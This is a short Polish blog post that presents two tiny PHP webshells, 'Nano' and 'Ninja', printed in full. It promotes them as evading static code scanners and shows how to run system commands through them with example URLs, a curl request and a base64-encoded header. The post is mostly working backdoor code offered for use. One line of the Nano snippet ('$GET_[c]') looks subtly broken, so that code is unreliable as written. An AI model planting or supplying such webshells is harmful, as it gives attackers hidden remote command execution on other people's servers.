Nano & Ninja – webshell w 35 i 93 bajtach
Napisał: Patryk Krawaczyński
18/02/2020 w Hacks & Scripts Możliwość komentowania Nano & Ninja – webshell w 35 i 93 bajtach została wyłączona
Nano jest małym webshellem zakodowanym w technice code golf, aby być bardziej niewykrywalnym, a zarazem wydajnym:
<?=$_GET[p]==_&&$_GET[f]($GET_[c]);
Jego zaletami są: tylko 35 bajtów rozmiaru; niewykrywalny przez skanery kodu statycznego; obsługuje uwierzytelnianie. Przykład użycia:
http://host.pl/nano.php?f=function&c=command&p=password
Gdzie: f = funkcja ; c = komenda; p = hasło
Na przykład poniższe żądnie HTTP wykona polecenie ls
:
http://host.pl/nano.php?f=system&c=ls&p=password
Oprócz Nano jest jeszcze Ninja:
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
Jego zaletami są: tylko 93 bajtów rozmiaru; trudny do wykrycia. Przykład użycia:
curl -H 'x: xc3lzdGVtfmxz' http://host.pl/nano.php
Wydaje się trochę skomplikowane, ale jeśli chcemy wykonać polecenie system(ls)
to zapisujemy je jako ciąg: system~ls
następnie kodujemy go w base64, czyli: c3lzdGVtfmxz
– dodajemy jeden znak x przed zakodowanym ciągiem: xc3lzdGVtfmxz
i wysyłamy w żądaniu HTTP jako nagłówek x.
Więcej informacji: Nano
Ostatni komentarz :